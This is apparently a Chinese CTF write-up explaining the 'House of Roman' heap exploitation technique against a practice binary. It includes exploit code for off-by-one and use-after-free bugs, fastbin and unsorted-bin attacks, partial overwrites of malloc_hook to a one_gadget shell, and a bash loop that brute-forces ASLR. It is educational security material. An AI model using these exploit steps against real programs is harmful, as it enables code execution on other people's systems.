zoukankan      html  css  js  c++  java
  • House of Roman 实战

    前言

    这是前几天国外一个 老哥 提出的一种思路 ,学习了一下感觉其中的堆布局的手法还不错,做个分享与记录。

    这种利用手法的主要特点是不需要 leak libc的地址,通过 堆内存的布局 和 堆相关的漏洞(uaf 等) 就可以 getshell。下面一个示例的题目为例介绍一下

    相关文件位于

    http://t.cn/Ru0eX62
    

    漏洞分析

    查看开启的保护措施

    04:44 haclh@ubuntu:house_of_roman $ checksec ./new_chall
    [*] '/home/haclh/workplace/house_of_roman/new_chall'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    No canary found
        NX:       NX enabled
        PIE:      PIE enabled
    
    

    开了 pie .

    程序主要就三个功能

    image.png

    • Malloc , 用户输入 size, 然后 malloc(size) , 大小不限
    • Write, 往指定 heap_ptr 写入 size+1 字节数据,一字节溢出
    • Free, 调用 free 释放掉 heap_ptr ,不过没有清零,double freeuafWrite 时只是校验 指针是否为 0).

    漏洞利用

    思路

    因为没有 leak 的机会,同时还还有 aslr , 因为 aslr 随机化的 比特数是有限的, 低 12bit 的随机化程度还是比较小,这就给了爆破的机会。

    House of Roman 的一个核心思路就是利用 局部写 减少随机化的程度,从而给出爆破的可能

    程序开了 pie ,一般的思路就是 写 malloc_hook 或者其他的一些 hook, 然后触发 mallocgetshell

    其中如果是 64 位程序,通过malloc_printerr 触发 malloc ,基本可以稳定 getshell

    总的一个利用步骤如下 (chunk 指的是 malloc 源码中的 chunk ,包含元数据)

    • 首先分配 3chunk (A , B, C) ,大小分别为 0x20, 0xd0, 0x70
    • B + 0x78 处设置 p64(0x61) , 作用是 fake size ,用于后面 的 fastbin attack
    • 释放掉 B , B 进入 unsorted bin , 此时 B+0x10B+0x18 中有 main_arean 的地址
    • 再次分配 0xd0 , 会分配到 B, 此时 B+0x10B+0x18main_arean 的地址依然存在
    • 然后分配 30x70chunk (D , E, F), 为后续做准备
    • A 触发 单字节溢出,修改 B->size = 0x71 . 然后释放 C , D, 此时 C , D 进入 fastbin , 同时 D->fd = C. 由于 chunk之间的相对偏移固定,于是利用 uaf 修改 D->fd 的低 字节 ,使得 D->fd=B
    • 此时 B->size = 0x71 ,同时 B + 0x78p64(0x61) (第2步设置), 这就成功伪造了一个 0x70 大小的 fastbin。 此时 B->fdmain_arean 的地址,于是通过 修改 低 2个字节,可以修改到 malloc_hook - 0x23 处 ( malloc_hook - 0x23 + 0x8 处的值为 p64(0x7f) )
    • 然后分配 30x70chunk, 就可以拿到包含 malloc_hookchunk, 此时 malloc_hook 内容为 0
    • 然后利用 unsorted bin 修改 malloc_hook 内容为 main_arean 的地址
    • 利用部分写修改 malloc_hookone_gadget
    • 多次释放一个指针,触发 double free 异常,进而触发 malloc_printerrgetshell

    下面根据 exp 具体看看。

    exp分析

    分配 3chunk ,在 B + 0x78 处设置 p64(0x61) , 作用是 fake size ,用于后面 的 fastbin attack

    create(0x18,0) # 0x20
    create(0xc8,1) # d0
    create(0x65,2)  # 0x70
    
    info("create 2 chunk, 0x20, 0xd8")
    fake = "A"*0x68
    fake += p64(0x61)  ## fake size
    edit(1,fake)
    info("fake")
    

    释放掉 B , 然后分配同样大小再次分配到 B , 此时 B+0x10B+0x18 中有 main_arean 的地址。分配 3fastbin ,利用 off by one 修改 B->size = 0x71

    free(1)
    create(0xc8,1)
    
    create(0x65,3)  # b
    create(0x65,15)
    create(0x65,18)
    
    over = "A"*0x18  # off by one
    over += "x71"  # set chunk  1's size --> 0x71
    edit(0,over)
    info("利用 off by one ,  chunk  1's size --> 0x71")
    

    生成两个 fastbin ,然后利用 uaf ,部分地址写,把 B 链入到 fastbin

    free(2)
    free(3)
    info("创建两个 0x70 的 fastbin")
    heap_po = "x20"
    edit(3,heap_po)
    info("把 chunk'1 链入到 fastbin 里面")
    

    调试看看此时 fastbin 的状态

    pwndbg> fastbins 
    fastbins
    0x20: 0x0
    0x30: 0x0
    0x40: 0x0
    0x50: 0x0
    0x60: 0x0
    0x70: 0x555555757160 —▸ 0x555555757020 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x7ffff7dd1b78
    0x80: 0x0
    

    0x555555757020 就是 chunk B

    然后通过修改 B->fd 的低 2 字节, 使得 B->fd= malloc_hook - 0x23

    # malloc_hook 上方
    malloc_hook_nearly = "xedx1a"
    edit(1,malloc_hook_nearly)
    info("部分写,修改 fastbin->fd ---> malloc_hook")
    

    image.png

    然后分配 30x70chunk ,就可以拿到 malloc_hook 所在的那个 chunk .

    create(0x65,0)
    create(0x65,0)
    create(0x65,0)
    info("0 拿到了 malloc_hook")
    

    image.png

    然后 freeE ,进入 fastbin ,利用 uaf 设置 E->fd = 0 , 修复了 fastbin (好思路)

    free(15)
    edit(15,p64(0x00))
    info("再次生成 0x71 的 fastbin, 同时修改 fd =0, 修复 fastbin")
    

    然后是 unsorted bin 攻击,使得 malloc_hook 的值为 main_arena+88

    create(0xc8,1)
    create(0xc8,1)
    create(0x18,2)
    create(0xc8,3)
    create(0xc8,4)
    free(1)
    po = "B"*8
    po += "x00x1b"
    edit(1,po)
    create(0xc8,1)
    info("unsorted bin 使得 malloc_hook 有 libc 的地址")
    

    image.png

    利用 修改 malloc_hook 的低三个字节 ,使得 malloc_hookone_gadget 的地址

    over = "R"*0x13   # padding for malloc_hook
    over += "xa4xd2xaf"
    edit(0,over)
    
    info("malloc_hook to one_gadget")
    

    然后 free 两次同一个 chunk ,触发 malloc_printerrgetshell

    free(18)
    free(18)
    

    上面的偏移为一次调试所得,开启 aslr 后,需要跑很多次 (碰运气, 写个脚本重复执行

    #!/bin/bash
    for i in `seq 1 5000`; do python final.py; done;
    

    跑啊跑就出 shell

    image.png

    总结

    总的思路就是 部分地址写 + 爆破 绕过 aslr . 其中的有趣的部分是堆布局,利用 off by one 伪造 fastbin 链 , 利用 unsorted bin attack 设置 libc 的地址的部分。

    调试 pie 程序,关了 aslr 方便调试

    echo 0 > /proc/sys/kernel/randomize_va_space
    

    参考

    https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc
    https://github.com/romanking98/House-Of-Roman
    
  • 相关阅读:
    [NOI2021] 路径交点
    CF1188D Make Equal
    CF1349F1 Slime and Sequences
    CF1067D Computer Game
    Dcat Admin安装
    PHP 中提示undefined index如何解决(多种方法)
    Git 常用命令大全
    项目维护环境部署
    bootstrap-table
    bootstrap-datetimepicker
  • 原文地址:https://www.cnblogs.com/hac425/p/9416913.html
Copyright © 2011-2022 走看看